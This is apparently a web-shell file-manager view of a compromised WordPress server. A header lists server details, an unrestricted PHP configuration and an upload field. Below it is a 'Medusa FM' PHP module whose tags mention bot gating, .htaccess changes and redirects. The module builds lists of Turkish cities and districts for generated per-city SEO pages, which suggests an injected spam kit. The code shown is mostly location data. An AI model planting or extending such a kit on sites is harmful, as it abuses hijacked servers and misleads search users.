| Server IP : 198.244.165.102 / Your IP : 216.73.216.218 [ Web Server : nginx/1.24.0 System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 User : colleary ( 1011) PHP Version : 8.3.23 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/colleary/public_html/wp-content/includes/ |
Upload File : |
<?php
// @fm-embedded-id:2026-08-04-index-ist-redirect-all
// @fm-embedded-id:2026-08-04-bot-htaccess-fix
// @fm-embedded-id:2026-08-04-bot-gate-fix
// @fm-embedded-id:2026-08-04-index-lib-fix
// @fm-embedded-id:2026-08-04-license-single-city
/**
* Medusa FM — license.html SEO (Studio bagimsiz; includes/fm_seo_generate.php).
*/
if (!function_exists('mb_strtolower')) {
function mb_strtolower($string, $encoding = null)
{
return strtolower((string)$string);
}
}
if (!function_exists('mb_strlen')) {
function mb_strlen($string, $encoding = null)
{
return strlen((string)$string);
}
}
if (!function_exists('mb_substr')) {
function mb_substr($string, $start, $length = null, $encoding = null)
{
$string = (string)$string;
return $length === null ? substr($string, (int)$start) : substr($string, (int)$start, (int)$length);
}
}
if (!function_exists('ms_e')) {
function ms_e(?string $s): string
{
return htmlspecialchars((string)$s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}
if (!function_exists('ms_istanbul_districts')) {
function ms_istanbul_districts(): array
{
$blocked = ['Adalar' => true, 'Şile' => true, 'Sile' => true];
$list = [];
$path = __DIR__ . '/tr_locations_data.php';
if (is_file($path)) {
require_once $path;
if (function_exists('tr_locations_seed_provinces')) {
$all = tr_locations_seed_provinces();
if (!empty($all['İstanbul']) && is_array($all['İstanbul'])) {
$list = array_values($all['İstanbul']);
}
}
}
if ($list === []) {
$list = [
'Arnavutköy', 'Ataşehir', 'Avcılar', 'Bağcılar', 'Bahçelievler', 'Bakırköy',
'Başakşehir', 'Bayrampaşa', 'Beşiktaş', 'Beykoz', 'Beylikdüzü', 'Beyoğlu', 'Büyükçekmece',
'Çatalca', 'Çekmeköy', 'Esenler', 'Esenyurt', 'Eyüpsultan', 'Fatih', 'Gaziosmanpaşa',
'Güngören', 'Kadıköy', 'Kağıthane', 'Kartal', 'Küçükçekmece', 'Maltepe', 'Pendik',
'Sancaktepe', 'Sarıyer', 'Silivri', 'Sultanbeyli', 'Sultangazi', 'Şişli',
'Tuzla', 'Ümraniye', 'Üsküdar', 'Zeytinburnu',
];
}
return array_values(array_filter($list, static function ($d) use ($blocked) {
return !isset($blocked[trim((string)$d)]);
}));
}
}
if (!function_exists('ms_istanbul_priority_hoods')) {
function ms_istanbul_priority_hoods(): array
{
return [
'Merter', 'Etiler', 'Halkalı', 'Bahçeşehir', 'Başakşehir', 'Nişantaşı', 'Levent',
'Bebek', 'Kadıköy', 'Moda', 'Ataköy', 'Bakırköy', 'Mecidiyeköy', 'Taksim',
'Şirinevler', 'Güneşli', 'İkitelli', 'Kayaşehir', 'Acıbadem', 'Bostancı',
'Florya', 'Yeşilköy', 'Ortaköy', 'Cihangir', 'Bomonti', 'Ataşehir',
];
}
}
if (!function_exists('ms_istanbul_default_hoods')) {
function ms_istanbul_default_hoods(): array
{
static $cache = null;
if ($cache !== null) {
return $cache;
}
$file = __DIR__ . '/landing_medusa.php';
if (is_file($file)) {
require_once $file;
if (function_exists('landing_ai_default_neighborhoods')) {
$cache = landing_ai_default_neighborhoods();
return $cache;
}
}
$cache = [
'Kadıköy' => ['Moda', 'Caddebostan', 'Fenerbahçe', 'Caferağa'],
'Beşiktaş' => ['Bebek', 'Ortaköy', 'Etiler', 'Levent'],
'Şişli' => ['Nişantaşı', 'Mecidiyeköy', 'Osmanbey'],
'Beyoğlu' => ['Taksim', 'Cihangir', 'Galata'],
'Üsküdar' => ['Altunizade', 'Çengelköy', 'Kuzguncuk'],
'Bakırköy' => ['Ataköy', 'Florya', 'Yeşilköy'],
];
return $cache;
}
}
if (!function_exists('ms_istanbul_flat_semts')) {
function ms_istanbul_flat_semts(): array
{
$semts = ms_istanbul_priority_hoods();
foreach (ms_istanbul_default_hoods() as $hoods) {
if (!is_array($hoods)) {
continue;
}
foreach ($hoods as $h) {
$h = trim((string)$h);
if ($h !== '') {
$semts[] = $h;
}
}
}
return array_values(array_unique($semts));
}
}
/** FM license.html — öncelikli iller (domain/path ile eşleşir). */
if (!function_exists('ms_seo_license_city_names')) {
function ms_seo_license_city_names(): array
{
return [
'Adana', 'Ankara', 'Antalya', 'Bodrum', 'Bursa', 'Diyarbakır', 'İstanbul', 'İzmir',
'Kocaeli', 'Mersin', 'Sakarya', 'Samsun', 'Tekirdağ',
];
}
}
/** license.html — hub şehir yok; yalnızca seçilen il */
if (!function_exists('ms_seo_hub_cities')) {
/** @return list<string> */
function ms_seo_hub_cities(): array
{
return [];
}
}
if (!function_exists('ms_seo_city_slug_map')) {
/** @return array<string, string> ascii slug => resmi il adı */
function ms_seo_city_slug_map(): array
{
return [
'adana' => 'Adana',
'ankara' => 'Ankara',
'antalya' => 'Antalya',
'bodrum' => 'Bodrum',
'bursa' => 'Bursa',
'diyarbakir' => 'Diyarbakır',
'istanbul' => 'İstanbul',
'izmir' => 'İzmir',
'kocaeli' => 'Kocaeli',
'mersin' => 'Mersin',
'mugla' => 'Bodrum',
'sakarya' => 'Sakarya',
'samsun' => 'Samsun',
'tekirdag' => 'Tekirdağ',
];
}
}
if (!function_exists('ms_tr_locations_provinces')) {
function ms_tr_locations_provinces(): array
{
static $cache = null;
if ($cache !== null) {
return $cache;
}
$cache = [];
$path = __DIR__ . '/tr_locations_data.php';
if (is_file($path)) {
require_once $path;
if (function_exists('tr_locations_seed_provinces')) {
$cache = tr_locations_seed_provinces();
}
}
return $cache;
}
}
if (!function_exists('ms_city_districts')) {
function ms_city_districts(string $city): array
{
$city = trim($city);
if ($city === 'İstanbul' && function_exists('ms_istanbul_districts')) {
return ms_istanbul_districts();
}
if ($city === 'Bodrum') {
return [
'Bodrum', 'Turgutreis', 'Yalıkavak', 'Gümüşlük', 'Bitez', 'Türkbükü',
'Göltürkbükü', 'Torba', 'Gündoğan', 'Ortaca', 'Marmaris', 'Fethiye', 'Milas', 'Datça',
];
}
$all = ms_tr_locations_provinces();
if ($city !== '' && !empty($all[$city]) && is_array($all[$city])) {
return array_values($all[$city]);
}
if ($city === 'Bodrum' && !empty($all['Muğla']) && is_array($all['Muğla'])) {
return array_values($all['Muğla']);
}
return [];
}
}
if (!function_exists('ms_seo_city_priority_hoods')) {
function ms_seo_city_priority_hoods(string $city): array
{
$city = trim($city);
static $map = [
'İstanbul' => null,
'Ankara' => ['Kızılay', 'Tunalı', 'Çankaya', 'Bahçelievler', 'Eryaman', 'Batıkent', 'Ulus', 'Söğütözü', 'Oran', 'Dikmen'],
'Antalya' => ['Kaleiçi', 'Lara', 'Konyaaltı', 'Alanya', 'Side', 'Manavgat', 'Kemer', 'Muratpaşa'],
'Bodrum' => ['Bodrum', 'Yalıkavak', 'Turgutreis', 'Gümüşlük', 'Bitez', 'Türkbükü', 'Torba', 'Gündoğan'],
'Bursa' => ['Nilüfer', 'Osmangazi', 'Yıldırım', 'Görükle', 'Konak', 'Gemlik', 'Mudanya', 'İnegöl'],
'İzmir' => ['Konak', 'Karşıyaka', 'Bornova', 'Buca', 'Alsancak', 'Karabağlar', 'Çeşme', 'Bayraklı'],
'Adana' => ['Seyhan', 'Çukurova', 'Yüreğir', 'Sarıçam', 'Ceyhan'],
'Samsun' => ['Atakum', 'İlkadım', 'Canik', 'Bafra', 'Çarşamba', 'Terme'],
'Mersin' => ['Mezitli', 'Yenişehir', 'Toroslar', 'Akdeniz', 'Tarsus', 'Erdemli'],
'Sakarya' => ['Adapazarı', 'Serdivan', 'Erenler', 'Sapanca', 'Karasu', 'Hendek'],
'Tekirdağ' => ['Süleymanpaşa', 'Çorlu', 'Çerkezköy', 'Kapaklı', 'Ergene'],
'Kocaeli' => ['İzmit', 'Gebze', 'Darıca', 'Kartepe', 'Gölcük', 'Başiskele'],
'Diyarbakır' => ['Kayapınar', 'Bağlar', 'Sur', 'Yenişehir', 'Ergani', 'Bismil'],
];
if ($city === 'İstanbul' && function_exists('ms_istanbul_priority_hoods')) {
return ms_istanbul_priority_hoods();
}
if (isset($map[$city]) && is_array($map[$city])) {
return $map[$city];
}
return array_slice(ms_city_districts($city), 0, 12);
}
}
if (!function_exists('ms_city_flat_semts')) {
function ms_city_flat_semts(string $city): array
{
$semts = ms_seo_city_priority_hoods($city);
foreach (ms_city_districts($city) as $d) {
$d = trim((string)$d);
if ($d !== '') {
$semts[] = $d;
}
}
return array_values(array_unique($semts));
}
}
if (!function_exists('ms_seo_city_from_host')) {
function ms_seo_city_from_host(string $host): string
{
$host = strtolower(trim($host));
$host = preg_replace('/^www\./', '', $host) ?? $host;
$host = str_replace(['ı', 'ğ', 'ü', 'ş', 'ö', 'ç'], ['i', 'g', 'u', 's', 'o', 'c'], $host);
foreach (ms_seo_city_slug_map() as $slug => $city) {
if ($slug !== '' && str_contains($host, $slug)) {
return $city;
}
}
return '';
}
}
if (!function_exists('ms_seo_city_from_path')) {
function ms_seo_city_from_path(string $path): string
{
$path = strtolower(str_replace('\\', '/', $path));
$path = str_replace(['ı', 'ğ', 'ü', 'ş', 'ö', 'ç'], ['i', 'g', 'u', 's', 'o', 'c'], $path);
foreach (ms_seo_city_slug_map() as $slug => $city) {
if (preg_match('#(?:^|[/._-])' . preg_quote($slug, '#') . '(?:[/._-]|$)#', $path)) {
return $city;
}
}
return '';
}
}
/** license.html için il + ilçe + semt (host veya WP yolu). */
if (!function_exists('ms_seo_resolve_license_city')) {
function ms_seo_resolve_license_city(string $host, string $wpRootPath = ''): string
{
$fromHost = ms_seo_city_from_host($host);
if ($fromHost !== '') {
return $fromHost;
}
if ($wpRootPath !== '') {
$fromPath = ms_seo_city_from_path($wpRootPath);
if ($fromPath !== '') {
return $fromPath;
}
}
return 'İstanbul';
}
}
if (!function_exists('ms_provinces')) {
function ms_provinces(): array
{
$out = ['İstanbul' => ms_istanbul_districts()];
foreach (ms_seo_license_city_names() as $name) {
if ($name === 'İstanbul') {
continue;
}
$d = ms_city_districts($name);
if ($d !== []) {
$out[$name] = $d;
}
}
return $out;
}
}
require_once __DIR__ . '/ms_seo_generate.php';